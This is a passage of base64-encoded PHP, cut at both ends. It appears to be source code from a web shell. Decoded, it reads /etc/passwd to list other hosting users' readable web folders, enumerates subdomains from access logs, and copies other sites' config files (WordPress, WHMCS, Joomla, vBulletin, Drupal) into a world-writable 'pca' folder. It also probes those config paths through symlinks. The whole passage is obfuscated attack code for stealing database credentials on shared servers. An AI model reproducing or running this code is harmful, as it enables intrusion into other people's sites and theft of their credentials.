9ob21lLycuJHVzZXJbJ25hbWUnXS4nL3B1YmxpY19odG1sL2ZvcnVtL2luY2x1ZGVzL2NvbmZpZy5waHAnOwogICAgICAgICAgICAgICAgICAgICAgICAkY2gwNyA9IGdldF9oZWFkZXJzKCRjNyk7CiAgICAgICAgICAgICAgICAgICAgICAgICRjZjA3ID0gJGNoMDdbMF07CiAgICAgICAgICAgICAgICAgICAgICAgICRjOCA9ICRidXJsLicvUENBX3N5bS9yb290L2hvbWUvJy4kdXNlclsnbmFtZSddLidwdWJsaWNfaHRtbC9jbGllbnRzL2NvbmZpZ3VyYXRpb24ucGhwJzsKICAgICAgICAgICAgICAgICAgICAgICAgJGNoMDggPSBnZXRfaGVhZGVycygkYzgpOwogICAgICAgICAgICAgICAgICAgICAgICAkY2YwOCA9ICRjaDA4WzBdOwogICAgICAgICAgICAgICAgICAgICAgICAkYzkgPSAkYnVybC4nL1BDQV9zeW0vcm9vdC9ob21lLycuJHVzZXJbJ25hbWUnXS4nL3B1YmxpY19odG1sL3N1cHBvcnQvY29uZmlndXJhdGlvbi5waHAnOwogICAgICAgICAgICAgICAgICAgICAgICAkY2gwOSA9IGdldF9oZWFkZXJzKCRjOSk7CiAgICAgICAgICAgICAgICAgICAgICAgICRjZjA5ID0gJGNoMDlbMF07CiAgICAgICAgICAgICAgICAgICAgICAgICRjMTAgPSAkYnVybC4nL1BDQV9zeW0vcm9vdC9ob21lLycuJHVzZXJbJ25hbWUnXS4nL3B1YmxpY19odG1sL2NsaWVudC9jb25maWd1cmF0aW9uLnBocCc7CiAgICAgICAgICAgICAgICAgICAgICAgICRjaDEwID0gZ2V0X2hlYWRlcnMoJGMxMCk7CiAgICAgICAgICAgICAgICAgICAgICAgICRjZjEwID0gJGNoMTBbMF07CiAgICAgICAgICAgICAgICAgICAgICAgICRjMTEgPSAkYnVybC4nL1BDQV9zeW0vcm9vdC9ob21lLycuJHVzZXJbJ25hbWUnXS4nL3B1YmxpY19odG1sL3N1Ym1pdHRpY2tldC5waHAnOwogICAgICAgICAgICAgICAgICAgICAgICAkY2gxMSA9IGdldF9oZWFkZXJzKCRjMTEpOwogICAgICAgICAgICAgICAgICAgICAgICAkY2YxMSA9ICRjaDExWzBdOwogICAgICAgICAgICAgICAgICAgICAgICAkYzEyID0gJGJ1cmwuJy9QQ0Ffc3ltL3Jvb3QvaG9tZS8nLiR1c2VyWyduYW1lJ10uJy9wdWJsaWNfaHRtbC9jbGllbnQvY29uZmlndXJhdGlvbi5waHAnOwogICAgICAgICAgICAgICAgICAgICAgICAkY2gxMiA9IGdldF9oZWFkZXJzKCRjMTIpOwogICAgICAgICAgICAgICAgICAgICAgICAkY2YxMiA9ICRjaDEyWzBdOwogICAgICAgICAgICAgICAgICAgICAgICAkYzEzID0gJGJ1cmwuJy9QQ0Ffc3ltL3Jvb3QvaG9tZS8nLiR1c2VyWyduYW1lJ10uJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9jb25maWd1cmUucGhwJzsKICAgICAgICAgICAgICAgICAgICAgICAgJGNoMTMgPSBnZXRfaGVhZGVycygkYzEzKTsKICAgICAgICAgICAgICAgICAgICAgICAgJGNmMTMgPSAkY2gxM1swXTsKICAgICAgICAgICAgICAgICAgICAgICAgJGMxNCA9ICRidXJsLicvUENBX3N5bS9yb290L2hvbWUvJy4kdXNlclsnbmFtZSddLicvcHVibGljX2h0bWwvaW5jbHVkZS9hcHBfY29uZmlnLnBocCc7CiAgICAgICAgICAgICAgICAgICAgICAgICRjaDE0ID0gZ2V0X2hlYWRlcnMoJGMxNCk7CiAgICAgICAgICAgICAgICAgICAgICAgICRjZjE0ID0gJGNoMTRbMF07CiAgICAgICAgICAgICAgICAgICAgICAgICRjMTUgPSAkYnVybC4nL1BDQV9zeW0vcm9vdC9ob21lLycuJHVzZXJbJ25hbWUnXS4nL3B1YmxpY19odG1sL3NpdGVzL2RlZmF1bHQvc2V0dGluZ3MucGhwJzsKICAgICAgICAgICAgICAgICAgICAgICAgJGNoMTUgPSBnZXRfaGVhZGVycygkYzE1KTsKICAgICAgICAgICAgICAgICAgICAgICAgJGNmMTUgPSAkY2gxNVswXTsKICAgICAgICAgICAgICAgICAgICAgICAgJG91dCA9ICcmbmJzcDsnOwogICAgICAgICAgICAgICAgICAgICAgICBpZihzdHJwb3MoJGNmMDEsJzIwMCcpID09IHRydWUpICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeyAgICRvdXQgPSAiPGEgaHJlZj0nIi4kYzEuIicgdGFyZ2V0PSdfYmxhbmsnPldvcmRwcmVzczwvYT4iOyAgIH0gCiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2VpZihzdHJwb3MoJGNmMDIsJzIwMCcpID09IHRydWUpICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7ICAgJG91dCA9ICI8YSBocmVmPSciLiRjMi4iJyB0YXJnZXQ9J19ibGFuayc+V29yZHByZXNzPC9hPiI7ICAgfQogICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYoc3RycG9zKCRjZjAzLCcyMDAnKSA9PSB0cnVlICYmIHN0cnBvcygkY2YxMSwnMjAwJykgPT0gdHJ1ZSkgeyAgICRvdXQgPSAiIDxhIGhyZWY9JyIuJGMxMS4iJyB0YXJnZXQ9J19ibGFuayc+V0hNQ1M8L2E+IjsgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgZWxzZWlmKHN0cnBvcygkY2YwOSwnMjAwJykgPT0gdHJ1ZSkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsgICAkb3V0ID0gIiA8YSBocmVmPSciLiRjOS4iJyB0YXJnZXQ9J19ibGFuayc+V0hNQ1M8L2E+IjsgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2VpZihzdHJwb3MoJGNmMTAsJzIwMCcpID09IHRydWUpICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7ICAgJG91dCA9ICIgPGEgaHJlZj0nIi4kYzEwLiInIHRhcmdldD0nX2JsYW5rJz5XSE1DUzwvYT4iOyAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYoc3RycG9zKCRjZjAzLCcyMDAnKSA9PSB0cnVlKSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeyAgICRvdXQgPSAiIDxhIGhyZWY9JyIuJGMzLiInIHRhcmdldD0nX2JsYW5rJz5Kb29tbGE8L2E+IjsgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgZWxzZWlmKHN0cnBvcygkY2YwNCwnMjAwJykgPT0gdHJ1ZSkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsgICAkb3V0ID0gIiA8YSBocmVmPSciLiRjNC4iJyB0YXJnZXQ9J19ibGFuayc+Sm9vbWxhPC9hPiI7ICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2VpZihzdHJwb3MoJGNmMDUsJzIwMCcpID09IHRydWUpICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7ICAgJG91dCA9ICIgPGEgaHJlZj0nIi4kYzUuIicgdGFyZ2V0PSdfYmxhbmsnPnZCdWxsZXRpbjwvYT4iOyAgfQogICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYoc3RycG9zKCRjZjA2LCcyMDAnKSA9PSB0cnVlKSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeyAgICRvdXQgPSAiIDxhIGhyZWY9JyIuJGM2LiInIHRhcmdldD0nX2JsYW5rJz52QnVsbGV0aW48L2E+IjsgIH0KICAgICAgICAgICAgICAgICAgICAgICAgZWxzZWlmKHN0cnBvcygkY2YwNywnMjAwJykgPT0gdHJ1ZSkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsgICAkb3V0ID0gIiA8YSBocmVmPSciLiRjNy4iJyB0YXJnZXQ9J19ibGFuayc+dkJ1bGxldGluPC9hPiI7ICB9CiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2VpZihzdHJwb3MoJGNmMDgsJzIwMCcpID09IHRydWUpICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7ICAgJG91dCA9ICIgPGEgaHJlZj0nIi4kYzcuIicgdGFyZ2V0PSdfYmxhbmsnPkNsaWVudCBBcmVhPC9hPiI7ICB9CiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2VpZihzdHJwb3MoJGNmMTIsJzIwMCcpID09IHRydWUpICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7ICAgJG91dCA9ICIgPGEgaHJlZj0nIi4kYzcuIicgdGFyZ2V0PSdfYmxhbmsnPkNsaWVudCBBcmVhPC9hPiI7ICB9CiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2VpZihzdHJwb3MoJGNmMTMsJzIwMCcpID09IHRydWUpICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7ICAgJG91dCA9ICIgPGEgaHJlZj0nIi4kYzcuIicgdGFyZ2V0PSdfYmxhbmsnPm9zQ29tbWVyY2UvWmVuIENhcnQ8L2E+IjsgIH0KICAgICAgICAgICAgICAgICAgICAgICAgZWxzZWlmKHN0cnBvcygkY2YxNCwnMjAwJykgPT0gdHJ1ZSkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsgICAkb3V0ID0gIiA8YSBocmVmPSciLiRjNy4iJyB0YXJnZXQ9J19ibGFuayc+TWFnZW50bzwvYT4iOyAgfQogICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYoc3RycG9zKCRjZjE1LCcyMDAnKSA9PSB0cnVlKSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeyAgICRvdXQgPSAiIDxhIGhyZWY9JyIuJGM3LiInIHRhcmdldD0nX2JsYW5rJz5EcnVwYWw8L2E+IjsgIH0KICAgICAgICAgICAgICAgICAgICAgICAgZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8dHInLigkbD8nIGNsYXNzPWwxJzonJykuJz48dGQ+Jy4kY291bnQrKy4nPC90ZD48dGQ+PGEgaHJlZj1odHRwOi8vd3d3LicuJGRvbWFpblsxXVswXS4nLz4nLiRkb21haW5bMV1bMF0uJzwvYT48L3RkPjx0ZD4nLiR1c2VyWyduYW1lJ10uJzwvdGQ+PHRkPicuJG91dC4nPC90ZD48L3RyPic7CiAgICAgICAgICAgICAgICAgICAgICAgIGZsdXNoKCk7CiAgICAgICAgICAgICAgICAgICAgICAgICRsPSRsPzA6MTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWNobyAiPC90YWJsZT4iOwogICAgICAgIH0KICAgICAgICBlY2hvICI8L2NlbnRlcj4iOyAgIAogICAgfQogICAgZWNobyAiPC9kaXY+IjsKICAgIHByaW50Rm9vdGVyKCk7Cn0gCiBmdW5jdGlvbiBhY3Rpb25KdW1waW5nKCkgCnsgIHByaW50SGVhZGVyKCk7CmVjaG8gJzxodG1sPjxoZWFkPjx0aXRsZT4nLmdldGVudigiSFRUUF9IT1NUIikuJyAtIEp1bXBpbmcgU2VydmVyPC90aXRsZT48L2hlYWQ+PGJvZHk+JzsKKCRzbSA9IGluaV9nZXQoJ3NhZmVfbW9kZScpID09IDApID8gJHNtID0gJ29mZic6IGRpZSgnPGZvbnQgc2l6ZT0iNCIgY29sb3I9IiMwMDAwMDAiIGZhY2U9IkNhbGlicmkiPjxiPkVycm9yOiBTYWZlX21vZGUgPSBPbjwvYj48L2ZvbnQ+Jyk7CnNldF90aW1lX2xpbWl0KDApO0AkcGFzc3dkID0gZm9wZW4oJy9ldGMvcGFzc3dkJywncicpO2lmICghJHBhc3N3ZCkgeyBkaWUoJzxmb250IHNpemU9IjQiIGNvbG9yPSIjMDAwMDAwIiBmYWNlPSJDYWxpYnJpIj48Yj5bLV0gRXJyb3IgOiBDb3VkbmB0IFJlYWQgL2V0Yy9wYXNzd2Q8L2I+PC9mb250PicpOyB9CiRwdWIgPSBhcnJheSgpOyR1c2VycyA9IGFycmF5KCk7JGNvbmYgPSBhcnJheSgpOyRpID0gMDt3aGlsZSghZmVvZigkcGFzc3dkKSl7JHN0ciA9IGZnZXRzKCRwYXNzd2QpO2lmICgkaSA+IDEwMCl7ICRwb3MgPSBzdHJwb3MoJHN0ciwnOicpOyAgJHVzZXJuYW1lID0gc3Vic3RyKCRzdHIsMCwkcG9zKTsgICRkaXJ6ID0gJy9ob21lLycuJHVzZXJuYW1lLicvcHVibGljX2h0bWwvJzsgIGlmICgoJHVzZXJuYW1lICE9ICcnKSkgeyBpZiAoaXNfcmVhZGFibGUoJGRpcnopKSB7IGFycmF5X3B1c2goJHVzZXJzLCR1c2VybmFtZSk7ICBhcnJheV9wdXNoKCRwdWIsJGRpcnopOyB9fX0kaSsrO30KZWNobyAnPGZvbnQgY29sb3I9YXF1YT4gICBbLV09PT09PT09PT09PT09PT09PT1bIFNUQVJUIF09PT09PT09PT09PT09PT09PT1bLV08YnI+PC9mb250Pic7CmZvcmVhY2ggKCR1c2VycyBhcyAkdXNlcil7ZWNobyAiPGZvbnQgY29sb3I9I2EzZTk1Nj4gWytdIC9ob21lLyR1c2VyL3B1YmxpY19odG1sLzwvZm9udD48YnIvPiI7fSBlY2hvICJcbiA8Zm9udCBjb2xvcj1hcXVhPjxicj5bLV09PT09PT09PT09PT09PT09PT1bIEZJTklTSCBdPT09PT09PT09PT09PT09PT09Wy1dIDxicj48L2ZvbnQ+XG4iOyBlY2hvICc8L2JvZHk+PC9odG1sPic7CnByaW50Rm9vdGVyKCk7Cn0JCQkJCQkKZnVuY3Rpb24gYWN0aW9uU3ViZG9tYWluKCkgewogICAgcHJpbnRIZWFkZXIoKTsKCWVycm9yX3JlcG9ydGluZygwKTsKJHVzZXIgPSBnZXRfY3VycmVudF91c2VyKCk7CiRvcGVuID0gb3BlbmRpcignL2hvbWUvJyAuICR1c2VyIC4gJy9hY2Nlc3MtbG9ncy8nKTsKd2hpbGUgKCRkaXIgPSByZWFkZGlyKCRvcGVuKSkgewogICAgJHRvdGFsRG9hbWluW10gPSAkZGlyOwp9CmNsb3NlZGlyKCRvcGVuKTsKJHRvdGFsID0gY291bnQoJHRvdGFsRG9hbWluKTsKJGRvbWFpbiA9ICR0b3RhbCAtIDI7CmlmICgkZG9tYWluID4gMCkgewogICAgZWNobyAiPGgyPjxiPjxmb250IHN0eWxlPVwiY29sb3I6ICNhM2U5NTYgO1wiID4gfiBUb3RhbCA8L2ZvbnQ+PGZvbnQgc3R5bGU9XCJjb2xvcjogI2EzZTk1NjsgXCI+IiAuICRkb21haW4gLiAiPC9mb250Pjxmb250IHN0eWxlPVwiY29sb3I6ICNhM2U5NTY7XCIgPiBTdWIgRG9tYWluIEZvdW5kISB+IDwvZm9udD48YnI+PEJSPiI7Cn0gZWxzZSB7CiAgICBlY2hvICI8aDI+PGI+IH4gPGZvbnQgY29sb3I9J3JlZCcgc3R5bGU9XCJjb2xvcjogcmVkOyB0ZXh0LXNoYWRvdzogcmVkIDBweCAwcHggNHB4IDsgXCI+MDwvZm9udD48Zm9udCBzdHlsZT1cImNvbG9yOiAjYmxhY2s7IHRleHQtc2hhZG93OiBibGFjayAwcHggMHB4IDZweCA7XCI+IFN1YiBEb21haW4gRm91bmQhIH48L2ZvbnQ+PGJyPjxCUj4iOwp9CiRzY2FuID0gYXJyYXlfZGlmZihzY2FuZGlyKCcvaG9tZS8nIC4gJHVzZXIgLiAnL2FjY2Vzcy1sb2dzLycpLCBhcnJheSgnLicpKTsKJGRvbWFpbnMgPSBpbXBsb2RlKCIKaHR0cDovLyIsICRzY2FuKTsKZWNobyAnCjxzdHlsZT4KYm9keSB7Cgl0ZXh0LWFsaWduOiBjZW50ZXI7CQkKCQl9CgkJPC9zdHlsZT48dGV4dGFyZWEgc3R5bGU9ImNvbG9yOiAjYTNlOTU2OyBiYWNrZ3JvdW5kLWNvbG9yOiBibGFjayIgcm93cz1cJzMwXCcgY29scz1cJzEwMFwnPic7CnByaW50X3IoJGRvbWFpbnMpOwplY2hvICc8L3RleHRhcmVhPic7CiAgICBwcmludEZvb3RlcigpOwp9CmZ1bmN0aW9uIGFjdGlvbkNvbmZpZ0dyYWJiZXIoKSB7CiAgICBwcmludEhlYWRlcigpOwoJZXJyb3JfcmVwb3J0aW5nKDApOwpzeXN0ZW0oJ21rZGlyIHBjYScpOwoJY2htb2QoJ3BjYScsIDA3NzcpOwokdXNlcnMgPSBmaWxlKCIvZXRjL3Bhc3N3ZCIpOwogICAgICAgICRsb2x4ID0gYXJyYXkoKTsKICAgICAgICBmb3JlYWNoICgkdXNlcnMgYXMgJHVzZXIpIHsKICAgICAgICAgICAgJHVzZXJzID0gZXhwbG9kZSgiOiIsICR1c2VyKTsKICAgICAgICAgICAgJGxvbHhbXSA9ICR1c2Vyc1swXTsKICAgICAgICB9CiAgICAgICAgZm9yZWFjaCAoJGxvbHggYXMgJGxvbCkgewogICAgICAgICAgICAkc3BhY2UgPSAiCgoiIC4gIioiIC4gIgoiIC4gIioiIC4gIgoiIC4gIioiIC4gIgoKIjsKICAgICAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCcvaG9tZS8nIC4gJGxvbCAuICdwdWJsaWNfaHRtbC9wb3J0YWwvY29uZmlndXJhdGlvbi5waHAnKSkgewogICAgICAgICAgICAgICAgJGNvbnRlbnQgPSBmaWxlX2dldF9jb250ZW50cygnL2hvbWUvJyAuICRsb2wgLiAncHVibGljX2h0bWwvcG9ydGFsL2NvbmZpZ3VyYXRpb24ucGhwJyk7CiAgICAgICAgICAgICAgICAkaGFuZGxlID0gZm9wZW4oJ3BjYS93aG0udHh0JywgJ2EnKTsKICAgICAgICAgICAgICAgIGZ3cml0ZSgkaGFuZGxlLCAkY29udGVudCAuICRzcGFjZSk7CiAgICAgICAgICAgICAgICBmY2xvc2UoJGhhbmRsZSk7CiAgICAgICAgICAgIH0gZWxzZWlmIChmaWxlX2V4aXN0cygnL2hvbWUvJyAuICRsb2wgLiAnL3B1YmxpY19odG1sL2luYy9jb25maWcucGhwJykpIHsKICAgICAgICAgICAgICAgICRjb250ZW50MSA9IGZpbGVfZ2V0X2NvbnRlbnRzKCcvaG9tZS8nIC4gJGxvbCAuICcvcHVibGljX2h0bWwvaW5jL2NvbmZpZy5waHAnKTsKICAgICAgICAgICAgICAgICRoYW5kbGUgPSBmb3BlbigncGNhL2NvbmZpZy50eHQnLCAnYScpOwogICAgICAgICAgICAgICAgZndyaXRlKCRoYW5kbGUsICRjb250ZW50IC4gJHNwYWNlKTsKICAgICAgICAgICAgICAgIGZjbG9zZSgkaGFuZGxlKTsKICAgICAgICAgICAgfSBlbHNlaWYgKGZpbGVfZXhpc3RzKCcvaG9tZS8nIC4gJGxvbCAuICcvcHVibGljX2h0bWwvc2l0ZXMvZGVmYXVsdC9zZXR0aW5ncy5waHAnKSkgewogICAgICAgICAgICAgICAgJGNvbnRlbnQyID0gZmlsZV9nZXRfY29udGVudHMoJy9ob21lLycgLiAkbG9sIC4gJy9wdWJsaWNfaHRtbC9zaXRlcy9kZWZhdWx0L3NldHRpbmdzLnBocCcpOwogICAgICAgICAgICAgICAgJGhhbmRsZSA9IGZvcGVuKCdwY2EvY29uZmlnLnR4dCcsICdhJyk7CiAgICAgICAgICAgICAgICBmd3JpdGUoJGhhbmRsZSwgJGNvbnRlbnQyIC4gJHNwYWNlKTsKICAgICAgICAgICAgICAgIGZjbG9zZSgkaGFuZGxlKTsKICAgICAgICAgICAgfSBlbHNlaWYgKGZpbGVfZXhpc3RzKCcvaG9tZS8nIC4gJGxvbCAuICcvcHVibGljX2h0bWwvaW5jbHVkZXMvY29uZmlndXJlLnBocCcpKSB7CiAgICAgICAgICAgICAgICAkY29udGVudDMgPSBmaWxlX2dldF9jb250ZW50cygnL2hvbWUvJyAuICRsb2wgLiAnL3B1YmxpY19odG1sL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAnKTsKICAgICAgICAgICAgICAgICRoYW5kbGUgPSBmb3BlbigncGNhL2NvbmZpZy50eHQnLCAnYScpOwogICAgICAgICAgICAgICAgZndyaXRlKCRoYW5kbGUsICRjb250ZW50MyAuICRzcGFjZSk7CiAgICAgICAgICAgICAgICBmY2xvc2UoJGhhbmRsZSk7CiAgICAgICAgICAgIH0gZWxzZWlmIChmaWxlX2V4aXN0cygnL2hvbWUvJyAuICRsb2wgLiAnL3B1YmxpY19odG1sL2xpYi9jb25maWcucGhwJykpIHsKICAgICAgICAgICAgICAgICRjb250ZW50NCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCcvaG9tZS8nIC4gJGxvbCAuICcvcHVibGljX2h0bWwvbGliL2NvbmZpZy5waHAnKTsKICAgICAgICAgICAgICAgICRoYW5kbGUgPSBmb3BlbigncGNhL2NvbmZpZy50eHQnLCAnYScpOwogICAgICAgICAgICAgICAgZndyaXRlKCRoYW5kbGUsICRjb250ZW50NCAuICRzcGFjZSk7CiAgICAgICAgICAgICAgICBmY2xvc2UoJGhhbmRsZSk7CiAgICAgICAgICAgIH0gZWxzZWlmIChmaWxlX2V4aXN0cygnL2hvbWUvJyAuICRsb2wgLiAnL3B1YmxpY19odG1sL2NvbmZpZy9rb25la3NpLnBocCcpKSB7CiAgICAgICAgICAgICAgICAkY29udGVudDUgPSBmaWxlX2dldF9jb250ZW50cygnL2hvbWUvJyAuICRsb2wgLiAnL3B1YmxpY19odG1sL2NvbmZpZy9rb25la3NpLnBocCcpOwogICAgICAgICAgICAgICAgJGhhbmRsZSA9IGZvcGVuKCdwY2EvY29uZmlnLnR4dCcsICdhJyk7CiAgICAgICAgICAgICAgICBmd3JpdGUoJGhhbmRsZSwgJGNvbnRlbnQ1IC4gJHNwYWNlKTsKICAgICAgICAgICAgICAgIGZjbG9zZSgkaGFuZGxlKTsKICAgICAgICAgICAgfSBlbHNlaWYgKGZpbGVfZXhpc3RzKCcvaG9tZS8nIC4gJGxvbCAuICcvcHVibGljX2h0bWwvdmIvaW5jbHVkZXMvY29uZmlnLnBocCcpKSB7CiAgICAgICAgICAgICAgICAkY29udGVudDYgPSBmaWxlX2dldF9jb250ZW50cygnL2hvbWUvJyAuICRsb2wgLiAnL3B1YmxpY19odG1sL3ZiL2luY2x1ZGVzL2NvbmZpZy5waHAnKTsKICAgICAgICAgICAgICAgICRoYW5kbGUgPSBmb3BlbigncGNhL2NvbmZpZy50eHQnLCAnYScpOwogICAgICAgICAgICAgICAgZndyaXRlKCRoYW5kbGUsICRjb250ZW50NiAuICRzcGFjZSk7CiAgICAgICAgICAgICAgICBmY2xvc2UoJGhhbmRsZSk7CiAgICAgICAgICAgIH0gZWxzZWlmIChmaWxlX2V4aXN0cygnL2hvbWUvJyAuICRsb2wgLiAnL3B1YmxpY19odG1sL2luY2x1ZGVzL2NvbmZpZy5waHAnKSkgewogICAgICAgICAgICAgICAgJGNvbnRlbnQ3ID0gZmlsZV9nZXRfY29udGVudHMoJy9ob21lLycgLiAkbG9sIC4gJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9jb25maWcucGhwJyk7CiAgICAgICAgICAgICAgICAkaGFuZGxlID0gZm9wZW4oJ3BjYS9jb25maWcudHh0JywgJ2EnKTsKICAgICAgICAgICAgICAgIGZ3cml0ZSgkaGFuZGxlLCAkY29udGVudDcgLiAkc3BhY2UpOwogICAgICAgICAgICAgICAgZmNsb3NlKCRoYW5kbGUpOwogICAgICAgICAgICB9IGVsc2VpZiAoZmlsZV9leGlzdHMoJy9ob21lLycgLiAkbG9sIC4gJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwJykpIHsKICAgICAgICAgICAgICAgICRjb250ZW50OCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCcvaG9tZS8nIC4gJGxvbCAuICcvcHVibGljX2h0bWwvZm9ydW0vaW5jbHVkZXMvY29uZmlnLnBocCcpOwogICAgICAgICAgICAgICAgJGhhbmRsZSA9IGZvcGVuKCdwY2EvY29uZmlnLnR4dCcsICdhJyk7CiAgICAgICAgICAgICAgICBmd3JpdGUoJGhhbmRsZSwgJGNvbnRlbnQ4IC4gJHNwYWNlKTsKICAgICAgICAgICAgICAgIGZjbG9zZSgkaGFuZGxlKTsKICAgICAgICAgICAgfSBlbHNlaWYgKGZpbGVfZXhpc3RzKCcvaG9tZS8nIC4gJGxvbCAuICcvcHVibGljX2h0bWwvY2MvaW5jbHVkZXMvY29uZmlnLnBocCcpKSB7CiAgICAgICAgICAgICAgICAkY29udGVudDkgPSBmaWxlX2dldF9jb250ZW50cygnL2hvbWUvJyAuICRsb2wgLiAnL3B1YmxpY19odG1sL2NjL2luY2x1ZGVzL2NvbmZpZy5waHAnKTsKICAgICAgICAgICAgICAgICRoYW5kbGUgPSBmb3BlbigncGNhL2NvbmZpZy50eHQnLCAnYScpOwogICAgICAgICAgICAgICAgZndyaXRlKCRoYW5kbGUsICRjb250ZW50OSAuICRzcGFjZSk7CiAgICAgICAgICAgICAgICBmY2xvc2UoJGhhbmRsZSk7CiAgICAgICAgICAgIH0gZWxzZWlmIChmaWxlX2V4aXN0cygnL2hvbWUvJyAuICRsb2wgLiAnL3B1YmxpY19odG1sL2NvbmZpZy5waHAnKSkgewogICAgICAgICAgICAgICAgJGNvbnRlbnQxMCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCcvaG9tZS8nIC4gJGxvbCAuICcvcHVibGljX2h0bWwvY29uZmlnLnBocCcpOwogICAgICAgICAgICAgICAgJGhhbmRsZSA9IGZvcGVuKCdwY2EvY29uZmlnLnR4dCcsICdhJyk7CiAgICAgICAgICAgICAgICBmd3JpdGUoJGhhbmRsZSwgJGNvbnRlbnQxMCAuICRzcGFjZSk7CiAgICAgICAgICAgICAgICBmY2xvc2UoJGhhbmRsZSk7CiAgICAgICAgICAgIH0gZWxzZWlmIChmaWxlX2V4aXN0cygnL2hvbWUvJyAuICRsb2wgLiAnL3B1YmxpY19odG1sL2ZvcnVtL2luY2x1ZGVzL2NvbmZpZy5waHAnKSkgewogICAgICAgICAgICAgICAgJGNvbnRlbnQxMSA9IGZpbGVfZ2V0X2NvbnRlbnRzKCcvaG9tZS8nIC4gJGxvbCAuICcvcHVibGljX2h0bWwvZm9ydW0vaW5jbHVkZXMvY29uZmlnLnBocCcpOwogICAgICAgICAgICAgICAgJGhhbmRsZSA9IGZvcGVuKCdwY2EvY29uZmlnLnR4dCcsICdhJyk7CiAgICAgICAgICAgICAgICBmd3JpdGUoJGhhbmRsZSwgJGNvbnRlbnQxMSAuICRzcGFjZSk7CiAgICAgICAgICAgICAgICBmY2xvc2UoJGhhbmRsZSk7CiAgICAgICAgICAgIH0gZWxzZWlmIChmaWxlX2V4aXN0cygnL2hvbWUvJyAuICRsb2wgLiAnL3B1YmxpY19odG1sL3dwLWNvbmZpZy5waHAnKSkgewogICAgICAgICAgICAgICAgJGNvbnRlbnQxMiA9IGZpbGVfZ2V0X2NvbnRlbnRzKCcvaG9tZS8nIC4gJGxvbCAuICcvcHVibGljX2h0bWwvd3AtY29uZmlnLnBocCcpOwogICAgICAgICAgICAgICAgJGhhbmRsZSA9IGZvcGVuKCdwY2EvY29uZmlnLnR4dCcsICdhJyk7CiAgICAgICAgICAgICAgICBmd3JpdGUoJGhhbmRsZSwgJGNvbnRlbnQxMiAuICRzcGFjZSk7CiAgICAgICAgICAgICAgICBmY2xvc2UoJGhhbmRsZSk7CiAgICAgICAgICAgIH0gZWxzZWlmIChmaWxlX2V4aXN0cygnL2hvbWUvJyAuICRsb2wgLiAnL3B1YmxpY19odG1sL2Jsb2cvd3AtY29uZmlnLnBocCcpKSB7CiAgICAgICAgICAgICAgICAkY29udGVudDEzID0gZmlsZV9nZXRfY29udGVudHMoJy9ob21lLycgLiAkbG9sIC4gJy9wdWJsaWNfaHRtbC9ibG9nL3dwLWNvbmZpZy5waHAnKTsKICAgICAgICAgICAgICAgICRoYW5kbGUgPSBmb3BlbigncGNhL2NvbmZpZy50eHQnLCAnYScpOwogICAgICAgICAgICAgICAgZndyaXRlKCRoYW5kbGUsICRjb250ZW50MTMgLiAkc3BhY2UpOwogICAgICAgICAgICAgICAgZmNsb3NlKCRoYW5kbGUpOwogICAgICAgICAgICB9IGVsc2VpZiAoZmlsZV9leGlzdHMoJy9ob21lLycgLiAkbG9sIC4gJy9wdWJsaWNfaHRtbC93cC93cC1jb25maWcucGhwJykpIHsKICAgICAgICAgICAgICAgICRjb250ZW50MTQgPSBmaWxlX2dldF9jb250ZW50cygnL2hvbWUvJyAuICRsb2wgLiAnL3B1YmxpY19odG1sL3dwL3dwLWNvbmZpZy5waHAnKTsKICAgICAgICAgICAgICAgICRoYW5kbGUgPSBmb3BlbigncGNhL2NvbmZpZy50eHQnLCAnYScpOwogICAgICAgICAgICAgICAgZndyaXRlKCRoYW5kbGUsICRjb250ZW50MTQgLiAkc3BhY2UpOwogICAgICAgICAgICAgICAgZmNsb3NlKCRoYW5kbGUpOwogICAgICAgICAgICB9IGVsc2VpZiAoZmlsZV9leGlzdHMoJy9ob21lLycgLiAkbG9sIC4gJy9wdWJsaWNfaHRtbC9ob21lL3dwLWNvbmZpZy5waHAnKSkgewogICAgICAgICAgICAgICAgJGNvbnRlbnQxNSA9IGZpbGVfZ2V0X2NvbnRlbnRzKCcvaG9tZS8nIC4gJGxvbCAuICcvcHVibGljX2h0bWwvaG9tZS93cC1jb25maWcucGhwJyk7CiAgICAgICAgICAgICAgICAkaGFuZGxlID0gZm9wZW4oJ3BjYS9jb25maWcudHh0J